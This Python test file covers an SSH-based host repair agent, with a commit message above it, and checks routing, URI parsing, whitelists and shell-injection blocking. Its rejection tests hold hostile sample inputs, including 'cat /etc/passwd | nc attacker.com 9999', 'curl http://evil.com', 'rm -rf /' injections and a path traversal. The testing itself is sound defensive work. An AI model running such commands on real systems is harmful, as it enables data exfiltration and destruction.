S1: 抽取 _execute_and_observe() 公用方法 - 消除 repair_by_uri 中 3 處重複的 execute+audit+langfuse 邏輯 - 統一 AuditLog + Langfuse trace 寫入路徑 S2: SSH username 防禦性驗證 - 新增 validate_ssh_user() + _SSH_USER_RE 正則 - 在 _ssh_execute() 入口驗證 user 參數 - 防止 user@host 拼接產生非預期行為 - 新增 8 個 username 驗證測試 S3: Singleton 測試重置 - 新增 _reset_for_test() classmethod - 避免跨測試狀態污染 - 新增 2 個 singleton reset 測試 測試: 55/55 全數通過 (原 45 + 新 10) 首席架構師 Re-Review: 91/100 ✅ 通過,3 個 Suggestion 全數實裝 Co-Authored-By: Claude Haiku 4.5 <noreply@anthropic.com>
511 lines
22 KiB
Python
511 lines
22 KiB
Python
"""
|
||
tests/test_host_repair_agent.py
|
||
Host Repair Agent 單元測試
|
||
不需要實際 SSH 連線 — 測試路由邏輯和命令組裝
|
||
2026-04-06 Claude Code: Sprint 3 T1 — URI 解析與安全防護測試
|
||
"""
|
||
import asyncio
|
||
import pytest
|
||
from unittest.mock import AsyncMock, patch
|
||
|
||
|
||
# =============================================================================
|
||
# 測試 HostRepairConfig 路由
|
||
# =============================================================================
|
||
|
||
class TestHostRepairConfig:
|
||
def test_layer_docker_110_routes_to_110(self):
|
||
from src.services.host_repair_agent import get_ssh_config_for_layer
|
||
config = get_ssh_config_for_layer("docker-110")
|
||
assert config["user"] == "wooo"
|
||
assert config["host"] == "192.168.0.110"
|
||
|
||
def test_layer_docker_188_routes_to_188(self):
|
||
from src.services.host_repair_agent import get_ssh_config_for_layer
|
||
config = get_ssh_config_for_layer("docker-188")
|
||
assert config["user"] == "ollama"
|
||
assert config["host"] == "192.168.0.188"
|
||
|
||
def test_layer_systemd_188_routes_to_188(self):
|
||
from src.services.host_repair_agent import get_ssh_config_for_layer
|
||
config = get_ssh_config_for_layer("systemd-188")
|
||
assert config["user"] == "ollama"
|
||
assert config["host"] == "192.168.0.188"
|
||
|
||
def test_unknown_layer_raises(self):
|
||
from src.services.host_repair_agent import get_ssh_config_for_layer
|
||
with pytest.raises(ValueError, match="Unknown layer"):
|
||
get_ssh_config_for_layer("unknown-layer")
|
||
|
||
def test_k8s_layer_raises(self):
|
||
"""k8s layer 不走 SSH,應 raise"""
|
||
from src.services.host_repair_agent import get_ssh_config_for_layer
|
||
with pytest.raises(ValueError, match="kubectl"):
|
||
get_ssh_config_for_layer("k8s")
|
||
|
||
|
||
# =============================================================================
|
||
# 測試 SSH 命令組裝
|
||
# =============================================================================
|
||
|
||
class TestSSHCommandBuilding:
|
||
def test_repair_command_format(self):
|
||
from src.services.host_repair_agent import build_repair_command
|
||
cmd = build_repair_command("sentry")
|
||
assert cmd == "repair:sentry"
|
||
|
||
def test_repair_command_component_sanitized(self):
|
||
"""防止 command injection"""
|
||
from src.services.host_repair_agent import build_repair_command
|
||
with pytest.raises(ValueError, match="Invalid component"):
|
||
build_repair_command("sentry; rm -rf /")
|
||
|
||
def test_repair_command_valid_components(self):
|
||
from src.services.host_repair_agent import build_repair_command
|
||
valid = ["sentry", "harbor", "gitea", "openclaw", "gitea-runner", "alertmanager", "redis", "nginx"]
|
||
for component in valid:
|
||
cmd = build_repair_command(component)
|
||
assert cmd == f"repair:{component}"
|
||
|
||
|
||
# =============================================================================
|
||
# 測試 HostRepairAgent.repair() 路由
|
||
# =============================================================================
|
||
|
||
class TestHostRepairAgent:
|
||
@pytest.mark.asyncio
|
||
async def test_repair_success_returns_ok(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
|
||
mock_ssh.return_value = "REPAIR_OK:sentry"
|
||
|
||
result = await agent.repair(layer="docker-110", component="sentry")
|
||
|
||
assert result.success is True
|
||
assert result.component == "sentry"
|
||
assert result.layer == "docker-110"
|
||
mock_ssh.assert_called_once_with(
|
||
host="192.168.0.110",
|
||
user="wooo",
|
||
key_path="/etc/repair-ssh/id_ed25519",
|
||
command="repair:sentry"
|
||
)
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_repair_fail_returns_failure(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
|
||
mock_ssh.return_value = "REPAIR_FAIL:harbor:exit_1"
|
||
|
||
result = await agent.repair(layer="docker-110", component="harbor")
|
||
|
||
assert result.success is False
|
||
assert "REPAIR_FAIL" in result.error
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_repair_ssh_timeout_returns_failure(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
|
||
mock_ssh.side_effect = asyncio.TimeoutError()
|
||
|
||
result = await agent.repair(layer="docker-110", component="sentry")
|
||
|
||
assert result.success is False
|
||
assert "timeout" in result.error.lower()
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_repair_denied_returns_failure(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
|
||
mock_ssh.return_value = "REPAIR_DENIED:unknown_component:badcomponent"
|
||
|
||
result = await agent.repair(layer="docker-110", component="badcomponent")
|
||
|
||
assert result.success is False
|
||
|
||
|
||
# =============================================================================
|
||
# 測試 URI Scheme 解析
|
||
# 2026-04-06 Claude Code: Sprint 3 T1
|
||
# =============================================================================
|
||
|
||
class TestParseUriCommand:
|
||
def test_openclaw_scheme(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
result = parse_uri_command("openclaw://docker-110/sentry")
|
||
assert result.scheme == "openclaw"
|
||
assert result.host_or_layer == "docker-110"
|
||
assert result.payload == "sentry"
|
||
|
||
def test_ansible_scheme(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
result = parse_uri_command("ansible://192.168.0.188/vacuum_postgres.yml")
|
||
assert result.scheme == "ansible"
|
||
assert result.host_or_layer == "192.168.0.188"
|
||
assert result.payload == "vacuum_postgres.yml"
|
||
|
||
def test_ssh_scheme(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
result = parse_uri_command("ssh://wooo@192.168.0.110/docker ps")
|
||
assert result.scheme == "ssh"
|
||
assert result.host_or_layer == "wooo@192.168.0.110"
|
||
assert result.payload == "docker ps"
|
||
|
||
def test_invalid_scheme_raises(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
with pytest.raises(ValueError, match="Unsupported scheme"):
|
||
parse_uri_command("http://example.com/cmd")
|
||
|
||
def test_missing_payload_raises(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
with pytest.raises(ValueError, match="payload"):
|
||
parse_uri_command("ansible://192.168.0.188/")
|
||
|
||
def test_legacy_format_raises(self):
|
||
from src.services.host_repair_agent import parse_uri_command
|
||
with pytest.raises(ValueError, match="Unsupported scheme"):
|
||
parse_uri_command("docker-110/sentry")
|
||
|
||
|
||
class TestValidateShellSafety:
|
||
def test_safe_command_passes(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
validate_shell_safety("docker ps") # must not raise
|
||
|
||
def test_semicolon_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("docker ps; rm -rf /")
|
||
|
||
def test_pipe_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("cat /etc/passwd | nc attacker.com 9999")
|
||
|
||
def test_double_ampersand_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("ls && curl http://evil.com")
|
||
|
||
def test_command_substitution_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("echo $(id)")
|
||
|
||
def test_backtick_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("echo `id`")
|
||
|
||
def test_too_long_blocked(self):
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="too long"):
|
||
validate_shell_safety("a" * 513)
|
||
|
||
|
||
import os
|
||
from unittest.mock import patch, AsyncMock
|
||
|
||
|
||
class TestAnsibleWhitelist:
|
||
def test_allowed_playbook_passes(self):
|
||
from src.services.host_repair_agent import validate_ansible_playbook
|
||
with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml,clear_redis_cache.yml"}):
|
||
validate_ansible_playbook("vacuum_postgres.yml") # must not raise
|
||
|
||
def test_disallowed_playbook_raises(self):
|
||
from src.services.host_repair_agent import validate_ansible_playbook
|
||
with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ansible_playbook("evil_script.sh")
|
||
|
||
def test_path_traversal_blocked(self):
|
||
from src.services.host_repair_agent import validate_ansible_playbook
|
||
with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ansible_playbook("../../../etc/passwd")
|
||
|
||
|
||
class TestRepairByUri:
|
||
@pytest.mark.asyncio
|
||
async def test_openclaw_scheme_calls_repair(self):
|
||
from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_execute_openclaw", new_callable=AsyncMock) as mock_oc:
|
||
mock_oc.return_value = HostRepairResult(success=True, layer="docker-110", component="sentry", output="REPAIR_OK:sentry")
|
||
result = await agent.repair_by_uri("openclaw://docker-110/sentry")
|
||
assert result.success is True
|
||
mock_oc.assert_awaited_once_with("docker-110", "sentry")
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_ansible_scheme_calls_ansible(self):
|
||
from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
|
||
agent = HostRepairAgent()
|
||
with patch.object(agent, "_execute_ansible", new_callable=AsyncMock) as mock_ans, \
|
||
patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
|
||
mock_ans.return_value = HostRepairResult(success=True, layer="ansible", component="vacuum_postgres.yml", output="REPAIR_OK:ansible")
|
||
result = await agent.repair_by_uri("ansible://192.168.0.188/vacuum_postgres.yml")
|
||
assert result.success is True
|
||
mock_ans.assert_awaited_once_with("192.168.0.188", "vacuum_postgres.yml")
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_ssh_scheme_blocked_without_approval_flag(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent = HostRepairAgent()
|
||
result = await agent.repair_by_uri("ssh://wooo@192.168.0.110/docker ps")
|
||
assert result.success is False
|
||
assert "requires_approval" in result.error
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_invalid_uri_returns_failure(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent = HostRepairAgent()
|
||
result = await agent.repair_by_uri("bad-format")
|
||
assert result.success is False
|
||
assert "Unsupported scheme" in result.error
|
||
|
||
|
||
class TestAuditLog:
|
||
@pytest.mark.asyncio
|
||
async def test_successful_repair_writes_audit_log(self):
|
||
"""成功修復應寫入 AuditLog 到 DB"""
|
||
from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
|
||
from unittest.mock import patch, AsyncMock
|
||
|
||
agent = HostRepairAgent()
|
||
|
||
with patch.object(agent, "_execute_openclaw", new_callable=AsyncMock) as mock_oc, \
|
||
patch.object(agent, "_write_audit_log", new_callable=AsyncMock) as mock_audit:
|
||
|
||
mock_oc.return_value = HostRepairResult(
|
||
success=True, layer="docker-110", component="sentry", output="REPAIR_OK:sentry"
|
||
)
|
||
|
||
result = await agent.repair_by_uri("openclaw://docker-110/sentry")
|
||
|
||
assert result.success is True
|
||
assert mock_audit.called, "AuditLog should be called"
|
||
call_kwargs = mock_audit.call_args
|
||
assert call_kwargs is not None
|
||
|
||
|
||
class TestRepairLock:
|
||
@pytest.mark.asyncio
|
||
async def test_duplicate_repair_is_blocked(self):
|
||
"""同一個 component 的修復,第二次呼叫應被 lock 阻擋"""
|
||
import asyncio
|
||
from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
|
||
from unittest.mock import AsyncMock, patch
|
||
agent = HostRepairAgent()
|
||
|
||
call_count = 0
|
||
|
||
async def fake_execute_openclaw(layer, component):
|
||
nonlocal call_count
|
||
call_count += 1
|
||
await asyncio.sleep(0.1) # simulate work
|
||
return HostRepairResult(success=True, layer=layer, component=component, output="REPAIR_OK:test")
|
||
|
||
with patch.object(agent, "_execute_openclaw", side_effect=fake_execute_openclaw):
|
||
results = await asyncio.gather(
|
||
agent.repair_by_uri("openclaw://docker-110/sentry"),
|
||
agent.repair_by_uri("openclaw://docker-110/sentry"),
|
||
return_exceptions=True,
|
||
)
|
||
|
||
successes = [r for r in results if isinstance(r, HostRepairResult) and r.success]
|
||
blocked = [r for r in results if isinstance(r, HostRepairResult) and not r.success and "already running" in r.error]
|
||
assert len(successes) == 1
|
||
assert len(blocked) == 1
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_singleton_lock_persistence(self):
|
||
"""P0-4: 測試 singleton 模式確保 in-process lock 跨 instance 共享"""
|
||
import asyncio
|
||
from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
|
||
from unittest.mock import AsyncMock, patch
|
||
|
||
# Create two instances (should be the same object due to singleton)
|
||
agent1 = HostRepairAgent()
|
||
agent2 = HostRepairAgent()
|
||
|
||
assert agent1 is agent2, "HostRepairAgent should be singleton"
|
||
assert agent1._in_process_locks is agent2._in_process_locks, "Locks dict should be shared"
|
||
|
||
call_count = 0
|
||
|
||
async def fake_execute(layer, component):
|
||
nonlocal call_count
|
||
call_count += 1
|
||
await asyncio.sleep(0.05)
|
||
return HostRepairResult(success=True, layer=layer, component=component, output="OK")
|
||
|
||
# Use agent1 and agent2 in concurrent calls
|
||
with patch.object(agent1, "_execute_openclaw", side_effect=fake_execute):
|
||
results = await asyncio.gather(
|
||
agent1.repair_by_uri("openclaw://docker-110/test"),
|
||
agent2.repair_by_uri("openclaw://docker-110/test"),
|
||
return_exceptions=True,
|
||
)
|
||
|
||
successes = [r for r in results if isinstance(r, HostRepairResult) and r.success]
|
||
blocked = [r for r in results if isinstance(r, HostRepairResult) and not r.success and "already running" in r.error]
|
||
|
||
assert len(successes) == 1, "First call should succeed"
|
||
assert len(blocked) == 1, "Second call should be blocked by shared lock"
|
||
|
||
|
||
# =============================================================================
|
||
# P0-1 Tests: Enhanced shell metacharacter detection
|
||
# =============================================================================
|
||
|
||
class TestEnhancedShellMetacharDetection:
|
||
"""2026-04-06 Claude Code: Sprint 3 P0-1 Tests"""
|
||
|
||
def test_redirect_out_blocked(self):
|
||
"""P0-1: > 重導向應被阻擋"""
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("ls > /tmp/out")
|
||
|
||
def test_redirect_in_blocked(self):
|
||
"""P0-1: < 重導向應被阻擋"""
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("cat < /etc/passwd")
|
||
|
||
def test_newline_blocked(self):
|
||
"""P0-1: Newline 換行應被阻擋(允許多行命令)"""
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("ls\nrm -rf /")
|
||
|
||
def test_dollar_brace_substitution_blocked(self):
|
||
"""P0-1: ${ 變數擴展應被阻擋"""
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
with pytest.raises(ValueError, match="Shell metacharacter"):
|
||
validate_shell_safety("echo ${PATH}")
|
||
|
||
def test_safe_simple_command_passes(self):
|
||
"""P0-1: 簡單命令應通過"""
|
||
from src.services.host_repair_agent import validate_shell_safety
|
||
validate_shell_safety("docker ps") # must not raise
|
||
|
||
|
||
# =============================================================================
|
||
# P0-3 Tests: SSH target host whitelist
|
||
# =============================================================================
|
||
|
||
class TestSSHTargetWhitelist:
|
||
"""2026-04-06 Claude Code: Sprint 3 P0-3 Tests"""
|
||
|
||
def test_allowed_host_110_passes(self):
|
||
"""P0-3: 192.168.0.110 在白名單應通過"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
validate_ssh_target_host("192.168.0.110") # must not raise
|
||
|
||
def test_allowed_host_188_passes(self):
|
||
"""P0-3: 192.168.0.188 在白名單應通過"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
validate_ssh_target_host("192.168.0.188") # must not raise
|
||
|
||
def test_unauthorized_host_blocked(self):
|
||
"""P0-3: 非白名單的主機應被阻擋"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ssh_target_host("192.168.0.999")
|
||
|
||
def test_localhost_blocked(self):
|
||
"""P0-3: localhost 應被阻擋"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ssh_target_host("127.0.0.1")
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_ssh_scheme_with_unauthorized_host_fails(self):
|
||
"""P0-3: ssh:// URI 指向未授權主機應失敗"""
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent = HostRepairAgent()
|
||
result = await agent.repair_by_uri("ssh://wooo@192.168.0.999/ls", approved=True)
|
||
assert result.success is False
|
||
assert "not in allowed whitelist" in result.error
|
||
|
||
|
||
# =============================================================================
|
||
# S2 Tests: SSH username validation
|
||
# 2026-04-07 Claude Code: Re-Review S2
|
||
# =============================================================================
|
||
|
||
class TestSSHUserValidation:
|
||
"""2026-04-07 Claude Code: Re-Review S2 Tests"""
|
||
|
||
def test_valid_user_wooo(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
validate_ssh_user("wooo") # must not raise
|
||
|
||
def test_valid_user_ollama(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
validate_ssh_user("ollama") # must not raise
|
||
|
||
def test_valid_user_with_underscore(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
validate_ssh_user("deploy_user") # must not raise
|
||
|
||
def test_invalid_user_with_space(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
with pytest.raises(ValueError, match="invalid characters"):
|
||
validate_ssh_user("bad user")
|
||
|
||
def test_invalid_user_with_at(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
with pytest.raises(ValueError, match="invalid characters"):
|
||
validate_ssh_user("user@host")
|
||
|
||
def test_invalid_user_root(self):
|
||
"""root 是合法格式但這裡不做權限限制,只驗格式"""
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
validate_ssh_user("root") # format-valid, authorization is separate
|
||
|
||
def test_invalid_user_empty(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
with pytest.raises(ValueError, match="invalid characters"):
|
||
validate_ssh_user("")
|
||
|
||
def test_invalid_user_starts_with_digit(self):
|
||
from src.services.host_repair_agent import validate_ssh_user
|
||
with pytest.raises(ValueError, match="invalid characters"):
|
||
validate_ssh_user("1baduser")
|
||
|
||
|
||
# =============================================================================
|
||
# S3 Tests: Singleton reset for test isolation
|
||
# 2026-04-07 Claude Code: Re-Review S3
|
||
# =============================================================================
|
||
|
||
class TestSingletonReset:
|
||
"""2026-04-07 Claude Code: Re-Review S3 Tests"""
|
||
|
||
def test_reset_creates_new_instance(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent1 = HostRepairAgent()
|
||
HostRepairAgent._reset_for_test()
|
||
agent2 = HostRepairAgent()
|
||
assert agent1 is not agent2, "_reset_for_test should create a fresh instance"
|
||
|
||
def test_reset_clears_locks(self):
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent = HostRepairAgent()
|
||
agent._get_in_process_lock("test_key")
|
||
assert len(agent._in_process_locks) > 0
|
||
HostRepairAgent._reset_for_test()
|
||
new_agent = HostRepairAgent()
|
||
assert len(new_agent._in_process_locks) == 0, "Reset should give fresh lock dict"
|